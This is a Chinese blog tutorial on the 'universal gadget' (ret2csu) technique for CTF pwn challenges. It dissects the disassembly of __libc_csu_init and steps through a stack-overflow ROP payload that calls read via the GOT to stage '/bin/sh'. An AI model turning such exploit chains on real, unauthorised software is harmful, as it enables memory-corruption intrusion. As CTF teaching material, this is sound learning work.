通用gadget详解

gadget

利用gadget是做pwn题时控制程序流程一种重要且常用的方法。
rop是什么?
参考链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
我今天主要写我对通用gadget的原理的理解

通用 gadget

大家要先了解pop ret call等汇编指令,以便更好理解。

通用gadget之所以叫通用,说明这是可以广泛使用的。

说明:

	程序编译的过程中,会自动加入一些通用函数做初始化的工作,这些初始化函数都是相同的,
	所以我们可以考虑在这些函数中找到一些通用的 gadget,
	在64位的链接库中就有一个这样的gadget,存在于__libc_csu_init()

__libc_csu_init()

x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,我们所找的 gadget 自然也是针对这些寄存器进行操作的。

函数 __libc_csu_init() 用于对 libc 进行初始化,只要程序调用了 libc,就一定存在这个函数。

下面是函数 __libc_csu_init()的反汇编

gdb-peda$ disassemble /r __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x00000000004007d0 <+0>:     41 57   push   r15
   0x00000000004007d2 <+2>:     41 56   push   r14
   0x00000000004007d4 <+4>:     49 89 d7        mov    r15,rdx
   0x00000000004007d7 <+7>:     41 55   push   r13
   0x00000000004007d9 <+9>:     41 54   push   r12
   0x00000000004007db <+11>:    4c 8d 25 16 06 20 00    lea    r12,[rip+0x200616]        # 0x600df8
   0x00000000004007e2 <+18>:    55      push   rbp
   0x00000000004007e3 <+19>:    48 8d 2d 16 06 20 00    lea    rbp,[rip+0x200616]        # 0x600e00
   0x00000000004007ea <+26>:    53      push   rbx
   0x00000000004007eb <+27>:    41 89 fd        mov    r13d,edi
   0x00000000004007ee <+30>:    49 89 f6        mov    r14,rsi
   0x00000000004007f1 <+33>:    4c 29 e5        sub    rbp,r12
   0x00000000004007f4 <+36>:    48 83 ec 08     sub    rsp,0x8
   0x00000000004007f8 <+40>:    48 c1 fd 03     sar    rbp,0x3
   0x00000000004007fc <+44>:    ff 15 f6 07 20 00       call   QWORD PTR [rip+0x2007f6]        # 0x600ff8
   0x0000000000400802 <+50>:    48 85 ed        test   rbp,rbp
   0x0000000000400805 <+53>:    74 1f   je     0x400826 <__libc_csu_init+86>
   0x0000000000400807 <+55>:    31 db   xor    ebx,ebx
   0x0000000000400809 <+57>:    0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
   0x0000000000400810 <+64>:    4c 89 fa        mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret
End of assembler dump.

从中提取出两段(必须以ret结尾),把它们叫做 rop1 和 rop2
正是对这两段的巧妙利用得到了通用gadget,要想深刻的理解它,可以自己在下面推导一下。
rop1

   0x000000000040082a <+90>:    5b      pop    rbx
   0x000000000040082b <+91>:    5d      pop    rbp
   0x000000000040082c <+92>:    41 5c   pop    r12
   0x000000000040082e <+94>:    41 5d   pop    r13
   0x0000000000400830 <+96>:    41 5e   pop    r14
   0x0000000000400832 <+98>:    41 5f   pop    r15
   0x0000000000400834 <+100>:   c3      ret

rop2

  0x0000000000400810 <+64>:    4c 89 fa         mov    rdx,r15
   0x0000000000400813 <+67>:    4c 89 f6        mov    rsi,r14
   0x0000000000400816 <+70>:    44 89 ef        mov    edi,r13d
   0x0000000000400819 <+73>:    41 ff 14 dc     call   QWORD PTR [r12+rbx*8]
   0x000000000040081d <+77>:    48 83 c3 01     add    rbx,0x1
   0x0000000000400821 <+81>:    48 39 dd        cmp    rbp,rbx
   0x0000000000400824 <+84>:    75 ea   		jne    0x400810 <__libc_csu_init+64>
   0x0000000000400826 <+86>:    48 83 c4 08     add    rsp,0x8
   0x000000000040082a <+90>:    5b      		pop    rbx
   0x000000000040082b <+91>:    5d     			pop    rbp
   0x000000000040082c <+92>:    41 5c  			pop    r12
   0x000000000040082e <+94>:    41 5d  			 pop    r13
   0x0000000000400830 <+96>:    41 5e 			pop    r14
   0x0000000000400832 <+98>:    41 5f			pop    r15
   0x0000000000400834 <+100>:   c3     			ret

我们可以看到
rop1 中连续六个 pop,可以将栈里的六个值传入pop rbx_rbp_r12_r13_r14_r15

rop2中rdi,rsi,rdx正好是64位传参的前三个寄存器
							rdx <-- (r15),
							rsi <-- (r14),
							edi <-- (r13)
		紧接着call   QWORD PTR [r12+rbx*8] 
这里我们就能控制call的地址为r12里填入的地址,使rbx=0
调用完还会回到rop2
add    rbx,0x1
cmp    rbp,rbx
jne    0x400810 <__libc_csu_init+64>
add    rsp,0x8
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret

因此我们可以借此rop1和rop2来调用函数并传入参数

用我最近做的一个题的payload来说明
payload如下:

"a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got)
 + p64(8) + p64(binsh_addr) + p64(1)+
 + p64(rop2)+ * 56+p64(start_addr)+payload.ljust(200, "a")

配图:(将就一下。做完图出了点问题,可以自己参照做一下)
在这里插入图片描述

payload讲解首先是栈溢出到函数返回地址,填充为rop1的地址,	
后面加上六个参数,再加上rop2,
再填充56个字节,调整栈帧
最后加上函数start的地址。
后面填充'a'到200完成payload的输入

参考上图了解程序流程要先知道汇编命令的含义

首先payload输入后

	原本栈帧调用rop1后
	ret指令会将rsp加8 则rsp会指向p64(0)		即覆盖的第一个参数

	将函数返回地址传给eip 	//CPU通过EIP寄存器读取即将要执行的指令

	eip指向函数返回地址,即rop1的地址,
	程序开始执行rop1里的汇编代码

由rop1可知pop指令将参数传给各个寄存器中
每次将栈里数据pop后rsp都会加上8
如下:

rbx <-- 0
rbp <-- 1
r12 <-- read_got
r13 <-- 8
r14 <-- binsh_addr
r15 <-- 1

此时rsp指向了rop2,
同样的,rop1的ret指令将

	eip <-- rop2的地址
	rsp+=8;	指向了填充的56*'a'

开始执行rop2的汇编代码

	rdx <-- r15 <-- 1
	rsi <-- r14 <-- binsh_addr
	edi <-- r13 <-- 8
	将这三个参数传入了前三个寄存器中
	call   QWORD PTR [r12+rbx*8]
	这句汇编就可以调用r12里的函数地址并将 上面寄存器的参数传给此函数

可以知道payload的调用函数的参数恰好可以通过rop链传入

	接着
	add    rbx,0x1  (rbx=1)
	cmp    rbp,rbx   (rbp=1,rbx=1)
	jne    0x400810 <__libc_csu_init+64>
	//有下面的指令解释可以知道相等不跳转
	所以继续执行下面的汇编
	add    rsp,0x8
	pop    rbx
    pop    rbp
    pop    r12
    pop    r13
    pop    r14
    pop    r15
	这几句将rsp+7*8就是加上了56
	由payload知道,此时rsp正好跳过了56*'a'指向了start函数的地址
	最后ret指令
	eip <-- start地址

到这里通用gadget完成了一次调用

这个payload的作用就是调用了read函数读取内容到要填写/bin/sh的地址
并重新执行函数start

指令cmp ax,bx 的逻辑含义是比较ax和bx的值,如果执行后:
1.  zf=1 ===> (ax)=(bx)
2.  zf=0 ===> (ax)!=(bx)
3.  cf=1 ===> (ax)<(bx)
4.  cf=0 ===> (ax)>=(bx)
5.  cf=zf=0 ===> (ax)>(bx)
6.  cf=1或zf=1 ===> (ax)<=(bx)
cmp指令的比较结果需要通过条件转移指令来检测。
|指令 |解释 |含义 |检测的相关标志位|
|-------|-------|-------|----------------|
|je|e:equal|等于则转移|zf=1|
|jne|ne:not equal|不等于则转移|zf=0|
|jb|b:below|低于则转移|cf=1|
|jnb|nb:not below| 不低于则转移| cf=0|
|ja |a:above| 高于则转移| cf=0且zf=0|
|jna| na:not above| 不高于则转移| cf=1或zf=1|
cf=1或zf=1|
  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值